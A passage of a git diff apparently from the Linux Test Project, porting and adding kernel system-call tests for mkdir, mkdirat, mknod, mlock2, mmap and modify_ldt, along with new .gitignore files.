- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the mkdir(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	mkdir(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "mkdir08";
-int TST_TOTAL = 1;
-
-char fname[255];
-
-int main(int ac, char **av)
-{
-	int lc;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call mkdir(2)
-		 */
-		TEST(mkdir(fname, 0777));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "mkdir(%s) Failed, errno=%d : %s",
-				 fname, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "mkdir(%s) returned %ld", fname,
-				 TEST_RETURN);
-			SAFE_RMDIR(cleanup, fname);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "./dir_%d", getpid());
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/mkdirat/.gitignore b/testcases/kernel/syscalls/mkdirat/.gitignore
new file mode 100644
index 0000000..3dc5c3c
--- /dev/null
+++ b/testcases/kernel/syscalls/mkdirat/.gitignore
@@ -0,0 +1,2 @@
+/mkdirat01
+/mkdirat02
diff --git a/testcases/kernel/syscalls/mkdirat/mkdirat02.c b/testcases/kernel/syscalls/mkdirat/mkdirat02.c
index 9dcf37f..fbe172e 100644
--- a/testcases/kernel/syscalls/mkdirat/mkdirat02.c
+++ b/testcases/kernel/syscalls/mkdirat/mkdirat02.c
@@ -21,142 +21,73 @@
  */
 
 #define _GNU_SOURCE
-
-#include <errno.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <sys/mount.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/mkdirat.h"
 
-static void setup(void);
-static void cleanup(void);
-
-#define TEST_FILE1	"mntpoint/test_file1"
+#define MNT_POINT	"mntpoint"
+#define TEST_DIR	"mntpoint/test_dir"
 #define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \
 			 S_IXGRP|S_IROTH|S_IXOTH)
 
-char *TCID = "mkdirat02";
-
 static int dir_fd;
 static int cur_fd = AT_FDCWD;
-static char test_file2[PATH_MAX] = ".";
-static const char *device;
-static int mount_flag_dir;
-static int mount_flag_cur;
+static char test_dir[PATH_MAX] = ".";
 
-static struct test_case_t {
+static struct tcase {
 	int *dirfd;
 	char *pathname;
 	int exp_errno;
-} TC[] = {
-	{&dir_fd, TEST_FILE1, EROFS},
-	{&cur_fd, TEST_FILE1, EROFS},
-	{&dir_fd, test_file2, ELOOP},
-	{&cur_fd, test_file2, ELOOP},
+} tcases[] = {
+	{&dir_fd, TEST_DIR, EROFS},
+	{&cur_fd, TEST_DIR, EROFS},
+	{&dir_fd, test_dir, ELOOP},
+	{&cur_fd, test_dir, ELOOP},
 };
 
-int TST_TOTAL = ARRAY_SIZE(TC);
-static void mkdirat_verify(const struct test_case_t *);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++)
-			mkdirat_verify(&TC[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
-	int i;
-	const char *fs_type;
+	unsigned int i;
 
-	tst_require_root();
+	dir_fd = SAFE_OPEN(".", O_DIRECTORY);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	SAFE_MKDIR("test_eloop", DIR_MODE);
+	SAFE_SYMLINK("../test_eloop", "test_eloop/test_eloop");
 
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to acquire device");
-
-	SAFE_MKDIR(cleanup, "test_dir", DIR_MODE);
-	dir_fd = SAFE_OPEN(cleanup, "test_dir", O_DIRECTORY);
-
-	SAFE_MKDIR(cleanup, "test_eloop", DIR_MODE);
-	SAFE_SYMLINK(cleanup, "../test_eloop", "test_eloop/test_eloop");
-
-	SAFE_MKDIR(cleanup, "test_dir/test_eloop", DIR_MODE);
-	SAFE_SYMLINK(cleanup, "../test_eloop",
-		     "test_dir/test_eloop/test_eloop");
 	/*
 	 * NOTE: the ELOOP test is written based on that the consecutive
 	 * symlinks limits in kernel is hardwired to 40.
 	 */
 	for (i = 0; i < 43; i++)
-		strcat(test_file2, "/test_eloop");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, "test_dir/mntpoint", DIR_MODE);
-	SAFE_MOUNT(cleanup, device, "test_dir/mntpoint", fs_type, MS_RDONLY,
-		   NULL);
-	mount_flag_dir = 1;
-
-	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, MS_RDONLY, NULL);
-	mount_flag_cur = 1;
+		strcat(test_dir, "/test_eloop");
 }
 
-static void mkdirat_verify(const struct test_case_t *test)
+static void mkdirat_verify(unsigned int i)
 {
+	struct tcase *test = &tcases[i];
+
 	TEST(mkdirat(*test->dirfd, test->pathname, 0777));
 
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "mkdirat() returned %ld, expected -1, errno=%d",
-			 TEST_RETURN, test->exp_errno);
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "mkdirat() succeeded unexpectedly (%li)",
+			TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO == test->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "mkdirat() failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "mkdirat() failed unexpectedly; expected: %d - %s",
-			 test->exp_errno, strerror(test->exp_errno));
+	if (TST_ERR == test->exp_errno) {
+		tst_res(TPASS | TTERRNO, "mkdirat() failed as expected");
+		return;
 	}
+
+	tst_res(TFAIL | TTERRNO,
+		"mkdirat() failed unexpectedly; expected: %d - %s",
+		test->exp_errno, tst_strerrno(test->exp_errno));
 }
 
-static void cleanup(void)
-{
-	if (mount_flag_dir && tst_umount("mntpoint") < 0)
-		tst_resm(TWARN | TERRNO, "umount device:%s failed", device);
-
-	if (mount_flag_cur && tst_umount("test_dir/mntpoint") < 0)
-		tst_resm(TWARN | TERRNO, "umount device:%s failed", device);
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = mkdirat_verify,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+};
diff --git a/testcases/kernel/syscalls/mknod/.gitignore b/testcases/kernel/syscalls/mknod/.gitignore
new file mode 100644
index 0000000..e1ca7bf
--- /dev/null
+++ b/testcases/kernel/syscalls/mknod/.gitignore
@@ -0,0 +1,9 @@
+/mknod01
+/mknod02
+/mknod03
+/mknod04
+/mknod05
+/mknod06
+/mknod07
+/mknod08
+/mknod09
diff --git a/testcases/kernel/syscalls/mknod/mknod02.c b/testcases/kernel/syscalls/mknod/mknod02.c
index e5741c3..594473e 100644
--- a/testcases/kernel/syscalls/mknod/mknod02.c
+++ b/testcases/kernel/syscalls/mknod/mknod02.c
@@ -173,7 +173,7 @@
 	}
 
 	/* Change the directory back to temporary directory */
-	chdir("..");
+	SAFE_CHDIR(cleanup, "..");
 
 	/*
 	 * Invoke cleanup() to delete the test directories created
diff --git a/testcases/kernel/syscalls/mknod/mknod03.c b/testcases/kernel/syscalls/mknod/mknod03.c
index ec6b688..7ecadb5 100644
--- a/testcases/kernel/syscalls/mknod/mknod03.c
+++ b/testcases/kernel/syscalls/mknod/mknod03.c
@@ -169,7 +169,7 @@
 	}
 
 	/* Change the directory back to temporary directory */
-	chdir("..");
+	SAFE_CHDIR(cleanup, "..");
 
 	/*
 	 * Invoke cleanup() to delete the test directories created
diff --git a/testcases/kernel/syscalls/mknod/mknod04.c b/testcases/kernel/syscalls/mknod/mknod04.c
index 6a8e08e..e0123ec 100644
--- a/testcases/kernel/syscalls/mknod/mknod04.c
+++ b/testcases/kernel/syscalls/mknod/mknod04.c
@@ -172,7 +172,7 @@
 	}
 
 	/* Change the directory back to temporary directory */
-	chdir("..");
+	SAFE_CHDIR(cleanup, "..");
 
 	/*
 	 * Invoke cleanup() to delete the test directories created
diff --git a/testcases/kernel/syscalls/mknod/mknod05.c b/testcases/kernel/syscalls/mknod/mknod05.c
index a00a0e4..fbc5575 100644
--- a/testcases/kernel/syscalls/mknod/mknod05.c
+++ b/testcases/kernel/syscalls/mknod/mknod05.c
@@ -171,7 +171,7 @@
 	}
 
 	/* change the directory back to temporary directory */
-	chdir("..");
+	SAFE_CHDIR(cleanup, "..");
 
 	/*
 	 * Invoke cleanup() to delete the test directories created
diff --git a/testcases/kernel/syscalls/mknod/mknod06.c b/testcases/kernel/syscalls/mknod/mknod06.c
index a8ee5ba..8f70cf0 100644
--- a/testcases/kernel/syscalls/mknod/mknod06.c
+++ b/testcases/kernel/syscalls/mknod/mknod06.c
@@ -93,7 +93,6 @@
 int longpath_setup();		/* setup function to test mknod for ENAMETOOLONG */
 int no_setup();			/* simply returns 0 to the caller */
 char Longpathname[PATH_MAX + 2];
-char High_address_node[64];
 
 struct test_case_t {		/* test case struct. to hold ref. test cond's */
 	char *pathname;
@@ -101,15 +100,8 @@
 	int exp_errno;
 	int (*setupfunc) ();
 } Test_cases[] = {
-	{
-	"tnode_1", "Specified node already exists", EEXIST, setup1},
-#if !defined(UCLINUX)
-	{
-	(char *)-1, "Negative address", EFAULT, no_setup}, {
-	High_address_node, "Address beyond address space", EFAULT,
-		    no_setup},
-#endif
-	{
+	{"tnode_1", "Specified node already exists", EEXIST, setup1}, {
+	NULL, "Invalid address", EFAULT, no_setup}, {
 	"testdir_2/tnode_2", "Non-existent file", ENOENT, no_setup}, {
 	"", "Pathname is empty", ENOENT, no_setup}, {
 	Longpathname, "Pathname too long", ENAMETOOLONG, longpath_setup}, {
@@ -119,12 +111,6 @@
 
 char *TCID = "mknod06";
 int TST_TOTAL = ARRAY_SIZE(Test_cases);
-#if !defined(UCLINUX)
-extern char *get_high_address();
-#else
-#endif
-
-char *bad_addr = 0;
 
 void setup();			/* setup function for the tests */
 void cleanup();			/* cleanup function for the tests */
@@ -152,12 +138,6 @@
 			node_name = Test_cases[ind].pathname;
 			test_desc = Test_cases[ind].desc;
 
-#if !defined(UCLINUX)
-			if (node_name == High_address_node) {
-				node_name = get_high_address();
-			}
-#endif
-
 			/*
 			 * Call mknod(2) to test different test conditions.
 			 * verify that it fails with -1 return value and
@@ -217,16 +197,10 @@
 	/* Make a temp dir and cd to it */
 	tst_tmpdir();
 
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	Test_cases[2].pathname = bad_addr;
-#endif
 	/* call individual setup functions */
 	for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
+		if (!Test_cases[ind].pathname)
+			Test_cases[ind].pathname = tst_get_bad_addr(cleanup);
 		Test_cases[ind].setupfunc();
 	}
 }
diff --git a/testcases/kernel/syscalls/mknod/mknod08.c b/testcases/kernel/syscalls/mknod/mknod08.c
index 3cc24ab..8647fde 100644
--- a/testcases/kernel/syscalls/mknod/mknod08.c
+++ b/testcases/kernel/syscalls/mknod/mknod08.c
@@ -170,7 +170,7 @@
 	}
 
 	/* Change the directory back to temporary directory */
-	chdir("..");
+	SAFE_CHDIR(cleanup, "..");
 
 	/*
 	 * Invoke cleanup() to delete the test directories created
diff --git a/testcases/kernel/syscalls/mknodat/.gitignore b/testcases/kernel/syscalls/mknodat/.gitignore
new file mode 100644
index 0000000..f2fc7e6
--- /dev/null
+++ b/testcases/kernel/syscalls/mknodat/.gitignore
@@ -0,0 +1,2 @@
+/mknodat01
+/mknodat02
diff --git a/testcases/kernel/syscalls/mlock/.gitignore b/testcases/kernel/syscalls/mlock/.gitignore
new file mode 100644
index 0000000..306574b
--- /dev/null
+++ b/testcases/kernel/syscalls/mlock/.gitignore
@@ -0,0 +1,4 @@
+/mlock01
+/mlock02
+/mlock03
+/mlock04
diff --git a/testcases/kernel/syscalls/mlock2/.gitignore b/testcases/kernel/syscalls/mlock2/.gitignore
new file mode 100644
index 0000000..907b139
--- /dev/null
+++ b/testcases/kernel/syscalls/mlock2/.gitignore
@@ -0,0 +1,3 @@
+/mlock201
+/mlock202
+/mlock203
diff --git a/testcases/kernel/syscalls/mlock2/Makefile b/testcases/kernel/syscalls/mlock2/Makefile
new file mode 100644
index 0000000..427df06
--- /dev/null
+++ b/testcases/kernel/syscalls/mlock2/Makefile
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mlock2/mlock201.c b/testcases/kernel/syscalls/mlock2/mlock201.c
new file mode 100644
index 0000000..1d1f5b7
--- /dev/null
+++ b/testcases/kernel/syscalls/mlock2/mlock201.c
@@ -0,0 +1,148 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * Check the basic functionality of the mlock2(2) since kernel v2.6.9:
+ * 1) When we use mlock2() without MLOCK_ONFAULT to lock memory in the
+ *    specified range that is multiples of page size or not, we can
+ *    show correct size of locked memory by VmLck from /proc/PID/status
+ *    and lock all pages including non-present.
+ * 2) When we use mlock2() with MLOCK_ONFAULT to lock memory in the
+ *    specified range that is multiples of page size or not, we can
+ *    show correct size of locked memory by VmLck from /proc/PID/status
+ *    and just lock present pages.
+ */
+#include <errno.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <linux/mman.h>
+
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "lapi/mlock2.h"
+
+#define PAGES	8
+#define HPAGES	(PAGES / 2)
+
+static size_t pgsz;
+static unsigned char vec[PAGES+1];
+
+static struct tcase {
+	size_t populate_pages;
+	size_t lock_pages;
+	size_t offset;
+	size_t exp_vmlcks;
+	size_t exp_present_pages;
+	int flag;
+} tcases[] = {
+	/* lock single page, expect it to be locked and present */
+	{0, 1, 0, 1, 1, 0},
+
+	/* lock all pages, expect all to be locked and present */
+	{0, PAGES, 0, PAGES, PAGES, 0},
+
+	/* mlock2() locks 3 pages if the specified
+	 * range is little more than 2 pages.
+	 */
+	{0, 2, 1, 3, 3, 0},
+
+	/* mlock2() locks 2 pages if the specified
+	 * range is little less than 2 pages.
+	 */
+	{0, 2, -1, 2, 2, 0},
+
+	/* mlock2() with MLOCK_ONFAULT just lock present
+	 * pages populated by data.
+	 */
+	{0, 1, 0, 1, 0, MLOCK_ONFAULT},
+
+	/* fault-in half of pages, lock all with MLOCK_ONFAULT */
+	{HPAGES, PAGES, 0, PAGES, HPAGES, MLOCK_ONFAULT},
+
+	/* fault-in 1 page, lock half of pages */
+	{1, HPAGES, 1, HPAGES + 1, 1, MLOCK_ONFAULT},
+
+	/* fault-in half, lock little less than 2 pages */
+	{HPAGES, HPAGES, -1, HPAGES, HPAGES, MLOCK_ONFAULT},
+};
+
+static size_t check_locked_pages(char *addr, size_t len, size_t num_pgs)
+{
+	size_t n;
+	size_t act_pages = 0;
+
+	SAFE_MINCORE(addr, len, vec);
+
+	for (n = 0; n < num_pgs; n++) {
+		if (vec[n] & 1)
+			act_pages++;
+	}
+
+	return act_pages;
+}
+
+static void verify_mlock2(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	size_t bsize, asize, act_vmlcks, act_pgs;
+	char *addr;
+
+	addr = SAFE_MMAP(NULL, PAGES * pgsz, PROT_WRITE,
+			 MAP_SHARED | MAP_ANONYMOUS, 0, 0);
+
+	if (tc->populate_pages)
+		memset(addr, 0, tc->populate_pages * pgsz);
+
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "VmLck: %ld", &bsize);
+
+	TEST(tst_syscall(__NR_mlock2, addr, tc->lock_pages * pgsz + tc->offset,
+			 tc->flag));
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "VmLck: %ld", &asize);
+
+	if (TST_RET != 0) {
+		if (tc->flag && TST_ERR == EINVAL)
+			tst_res(TCONF, "mlock2() didn't support MLOCK_ONFAULT");
+		else
+			tst_res(TFAIL | TTERRNO, "mlock2() failed");
+		goto end2;
+	}
+
+	act_vmlcks = (asize - bsize) * 1024 / pgsz;
+	if (tc->exp_vmlcks != act_vmlcks) {
+		tst_res(TFAIL, "VmLck showed wrong %ld pages, expected %ld",
+			act_vmlcks, tc->exp_vmlcks);
+		goto end1;
+	}
+
+	act_pgs = check_locked_pages(addr, PAGES * pgsz, PAGES);
+	if (act_pgs != tc->exp_present_pages) {
+		tst_res(TFAIL, "mlock2(%d) locked %ld pages, expected %ld",
+			tc->flag, act_pgs, tc->exp_present_pages);
+	} else {
+		tst_res(TPASS, "mlock2(%d) succeeded in locking %ld pages",
+			tc->flag, tc->exp_present_pages);
+	}
+
+end1:
+	SAFE_MUNLOCK(addr, tc->lock_pages * pgsz + tc->offset);
+end2:
+	SAFE_MUNMAP(addr, PAGES * pgsz);
+}
+
+static void setup(void)
+{
+	pgsz = getpagesize();
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_mlock2,
+	.setup = setup,
+	.needs_root = 1,
+	.min_kver = "2.6.9",
+};
diff --git a/testcases/kernel/syscalls/mlock2/mlock202.c b/testcases/kernel/syscalls/mlock2/mlock202.c
new file mode 100644
index 0000000..630da65
--- /dev/null
+++ b/testcases/kernel/syscalls/mlock2/mlock202.c
@@ -0,0 +1,113 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * Check various errnos for mlock2(2) since kernel v2.6.9:
+ * 1) mlock2() fails and returns EINVAL if unknown flag is specified.
+ * 2) mlock2() fails and returns ENOMEM if the caller is not
+ *    privileged(CAP_IPC_LOCK) and tries to lock more memory than the
+ *    RLIMIT_MEMLOCK limit.
+ * 3) mlock2() fails and returns EPERM if the caller is not
+ *    privileged(CAP_IPC_LOCK) and its RLIMIT_MEMLOCK limit is 0.
+ * 4) mlock2() fails and returns ENOMEM if some of the specified address
+ *    range does not correspond to mapped pages in the address space
+ *    of the caller.
+ */
+#include <errno.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+#define PAGES 8
+
+static size_t pgsz;
+static size_t max_sz1, max_sz2;
+static char *addr, *unmapped_addr;
+static struct passwd *nobody;
+
+static struct tcase {
+	char **taddr;
+	int flag;
+	size_t *max_size;
+	/* 1: nobody 0: root */
+	int user;
+	int exp_err;
+} tcases[] = {
+	{&addr, -1, NULL, 0, EINVAL},
+	{&addr, 0, &max_sz1, 1, ENOMEM},
+	{&addr, 0, &max_sz2, 1, EPERM},
+	{&unmapped_addr, 0, NULL, 0, ENOMEM},
+};
+
+static void verify_mlock2(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	struct rlimit orig_limit, new_limit;
+
+	if (tc->user) {
+		SAFE_GETRLIMIT(RLIMIT_MEMLOCK, &orig_limit);
+		new_limit.rlim_cur = *tc->max_size;
+		new_limit.rlim_max = *tc->max_size;
+		SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &new_limit);
+		SAFE_SETEUID(nobody->pw_uid);
+	}
+
+	TEST(tst_syscall(__NR_mlock2, *tc->taddr, pgsz, tc->flag));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "mlock2() succeeded");
+		SAFE_MUNLOCK(*tc->taddr, pgsz);
+		goto end;
+	}
+
+	if (TST_ERR != tc->exp_err) {
+		tst_res(TFAIL | TTERRNO,
+			"mlock2() failed unexpectedly, expected %s",
+			tst_strerrno(tc->exp_err));
+	} else {
+		tst_res(TPASS | TTERRNO, "mlock2() failed as expected");
+	}
+
+end:
+	if (tc->user) {
+		SAFE_SETEUID(0);
+		SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &orig_limit);
+	}
+}
+
+static void setup(void)
+{
+	pgsz = getpagesize();
+	nobody = SAFE_GETPWNAM("nobody");
+
+	addr = SAFE_MMAP(NULL, pgsz, PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+	unmapped_addr = SAFE_MMAP(NULL, pgsz * PAGES, PROT_READ,
+				  MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+	SAFE_MUNMAP(unmapped_addr, pgsz * PAGES);
+	unmapped_addr = unmapped_addr + pgsz * PAGES / 2;
+
+	max_sz1 = pgsz - 1;
+}
+
+static void cleanup(void)
+{
+	if (addr)
+		SAFE_MUNMAP(addr, pgsz);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_mlock2,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.min_kver = "2.6.9",
+};
diff --git a/testcases/kernel/syscalls/mlock2/mlock203.c b/testcases/kernel/syscalls/mlock2/mlock203.c
new file mode 100644
index 0000000..8451b2c
--- /dev/null
+++ b/testcases/kernel/syscalls/mlock2/mlock203.c
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * If one memory is already locked by mlock2() with MLOCK_ONFAULT and then
+ * it is locked again by mlock()(or mlock2() without MLOCK_ONFAULT), the
+ * VmLck field in /proc/pid/status should increase once instead of twice.
+ *
+ * This issue has been fixed in kernel:
+ * 'b155b4fde5bd("mm: mlock: avoid increase mm->locked_vm on mlock() when already mlock2(,MLOCK_ONFAULT)")'
+ */
+#include <errno.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <linux/mman.h>
+
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "lapi/mlock2.h"
+
+static unsigned long pgsz;
+static char *addr;
+
+static void verify_mlock2(void)
+{
+	unsigned long bsize, asize1, asize2;
+
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "VmLck: %lu", &bsize);
+
+	TEST(tst_syscall(__NR_mlock2, addr, pgsz, MLOCK_ONFAULT));
+	if (TST_RET != 0) {
+		if (TST_ERR == EINVAL) {
+			tst_res(TCONF,
+				"mlock2() didn't support MLOCK_ONFAULT");
+		} else {
+			tst_res(TFAIL | TTERRNO,
+				"mlock2(MLOCK_ONFAULT) failed");
+		}
+		return;
+	}
+
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "VmLck: %lu", &asize1);
+
+	if ((asize1 - bsize) * 1024 != pgsz) {
+		tst_res(TFAIL,
+			"mlock2(MLOCK_ONFAULT) locked %lu size, expected %lu",
+			(asize1 - bsize) * 1024, pgsz);
+		goto end;
+	}
+
+	TEST(tst_syscall(__NR_mlock2, addr, pgsz, 0));
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "mlock2() failed");
+		goto end;
+	}
+
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "VmLck: %lu", &asize2);
+
+	if (asize1 != asize2) {
+		tst_res(TFAIL, "Locking one memory again increased VmLck");
+	} else {
+		tst_res(TPASS,
+			"Locking one memory again didn't increased VmLck");
+	}
+
+end:
+	SAFE_MUNLOCK(addr, pgsz);
+}
+
+static void setup(void)
+{
+	pgsz = getpagesize();
+	addr = SAFE_MMAP(NULL, pgsz, PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+}
+
+static void cleanup(void)
+{
+	if (addr)
+		SAFE_MUNMAP(addr, pgsz);
+}
+
+static struct tst_test test = {
+	.test_all = verify_mlock2,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.min_kver = "2.6.9",
+};
diff --git a/testcases/kernel/syscalls/mlockall/.gitignore b/testcases/kernel/syscalls/mlockall/.gitignore
new file mode 100644
index 0000000..afcaf51
--- /dev/null
+++ b/testcases/kernel/syscalls/mlockall/.gitignore
@@ -0,0 +1,3 @@
+/mlockall01
+/mlockall02
+/mlockall03
diff --git a/testcases/kernel/syscalls/mmap/.gitignore b/testcases/kernel/syscalls/mmap/.gitignore
new file mode 100644
index 0000000..39ed2aa
--- /dev/null
+++ b/testcases/kernel/syscalls/mmap/.gitignore
@@ -0,0 +1,17 @@
+/mmap001
+/mmap01
+/mmap02
+/mmap03
+/mmap04
+/mmap05
+/mmap06
+/mmap07
+/mmap08
+/mmap09
+/mmap10
+/mmap11
+/mmap12
+/mmap13
+/mmap14
+/mmap15
+/mmap16
diff --git a/testcases/kernel/syscalls/mmap/mmap15.c b/testcases/kernel/syscalls/mmap/mmap15.c
index eff27d6..c8a7787 100644
--- a/testcases/kernel/syscalls/mmap/mmap15.c
+++ b/testcases/kernel/syscalls/mmap/mmap15.c
@@ -80,10 +80,9 @@
 			continue;
 		}
 
-		if (errno != ENOMEM) {
+		if (errno != ENOMEM && errno != EINVAL) {
 			tst_resm(TFAIL | TERRNO, "mmap into high region "
-				 "failed unexpectedly - expect "
-				 "errno=ENOMEM, got");
+				 "failed unexpectedly");
 		} else {
 			tst_resm(TPASS | TERRNO, "mmap into high region "
 				 "failed as expected");
diff --git a/testcases/kernel/syscalls/mmap/mmap16.c b/testcases/kernel/syscalls/mmap/mmap16.c
index 52c291f..0d1fc3e 100644
--- a/testcases/kernel/syscalls/mmap/mmap16.c
+++ b/testcases/kernel/syscalls/mmap/mmap16.c
@@ -145,6 +145,7 @@
 static void setup(void)
 {
 	const char *fs_opts[3] = {"-b", "1024", NULL};
+	const char *extra_opts[] = {"10240", NULL};
 
 	tst_sig(FORK, DEF_HANDLER, NULL);
 	tst_require_root();
@@ -159,7 +160,7 @@
 	device = tst_acquire_device(cleanup);
 	if (!device)
 		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-	tst_mkfs(cleanup, device, fs_type, fs_opts, "10240");
+	tst_mkfs(cleanup, device, fs_type, fs_opts, extra_opts);
 
 	SAFE_MKDIR(cleanup, MNTPOINT, 0755);
 	/*
diff --git a/testcases/kernel/syscalls/modify_ldt/.gitignore b/testcases/kernel/syscalls/modify_ldt/.gitignore
new file mode 100644
index 0000000..c0b8bbf
--- /dev/null
+++ b/testcases/kernel/syscalls/modify_ldt/.gitignore
@@ -0,0 +1,3 @@
+/modify_ldt01
+/modify_ldt02
+/modify_ldt03
diff --git a/testcases/kernel/syscalls/modify_ldt/modify_ldt02.c b/testcases/kernel/syscalls/modify_ldt/modify_ldt02.c
index b82d14e..c953ac4 100644
--- a/testcases/kernel/syscalls/modify_ldt/modify_ldt02.c
+++ b/testcases/kernel/syscalls/modify_ldt/modify_ldt02.c
@@ -140,7 +140,7 @@
 			tst_brkm(TINFO, cleanup, "Creation of segment failed");
 		}
 
-		tst_flush();
+		tst_old_flush();
 		if ((pid = FORK_OR_VFORK()) == 0) {
 			val = read_segment(0);
 			exit(1);
diff --git a/testcases/kernel/syscalls/modify_ldt/run-modify_ldt01.sh b/testcases/kernel/syscalls/modify_ldt/run-modify_ldt01.sh
deleted file mode 100755
index 78bf7a1..0000000
--- a/testcases/kernel/syscalls/modify_ldt/run-modify_ldt01.sh
+++ /dev/null
